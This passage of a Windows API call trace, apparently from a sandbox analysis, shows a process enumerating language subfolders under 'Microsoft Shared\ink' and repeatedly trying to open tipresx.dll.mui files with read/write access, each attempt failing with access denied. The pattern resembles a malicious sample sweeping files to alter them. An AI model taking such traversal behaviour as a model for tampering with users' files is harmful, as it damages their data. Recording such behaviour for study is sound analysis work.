(in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.664] GetProcessHeap () returned 0x990000 [0163.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.664] GetLastError () returned 0x5 [0163.664] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.664] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.664] GetProcessHeap () returned 0x990000 [0163.664] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.664] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0163.665] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0163.665] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0163.665] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0163.665] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0163.665] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0163.665] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0163.665] GetProcessHeap () returned 0x990000 [0163.665] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.665] GetProcessHeap () returned 0x990000 [0163.665] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.665] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.665] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.666] GetProcessHeap () returned 0x990000 [0163.666] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.666] GetLastError () returned 0x5 [0163.666] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.666] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.666] GetProcessHeap () returned 0x990000 [0163.666] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.666] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0163.666] GetProcessHeap () returned 0x990000 [0163.666] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.666] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.667] GetProcessHeap () returned 0x990000 [0163.667] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.667] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.667] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.667] GetProcessHeap () returned 0x990000 [0163.667] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.667] GetLastError () returned 0x5 [0163.667] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.667] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.667] GetProcessHeap () returned 0x990000 [0163.667] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.667] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0163.667] GetProcessHeap () returned 0x990000 [0163.667] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.669] GetProcessHeap () returned 0x990000 [0163.669] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.669] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.669] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.669] GetProcessHeap () returned 0x990000 [0163.669] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.671] GetLastError () returned 0x5 [0163.671] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.671] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.672] GetProcessHeap () returned 0x990000 [0163.672] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.672] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0163.672] GetProcessHeap () returned 0x990000 [0163.672] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.672] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.672] GetProcessHeap () returned 0x990000 [0163.672] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.672] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.672] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.672] GetProcessHeap () returned 0x990000 [0163.672] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.673] GetLastError () returned 0x5 [0163.673] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.673] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.673] GetProcessHeap () returned 0x990000 [0163.673] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.673] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0163.673] GetProcessHeap () returned 0x990000 [0163.673] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.674] GetProcessHeap () returned 0x990000 [0163.674] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.674] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.674] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.674] GetProcessHeap () returned 0x990000 [0163.674] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.674] GetLastError () returned 0x5 [0163.674] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.674] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.674] GetProcessHeap () returned 0x990000 [0163.674] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.674] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0163.674] GetProcessHeap () returned 0x990000 [0163.674] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.674] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.675] GetProcessHeap () returned 0x990000 [0163.675] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.675] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, 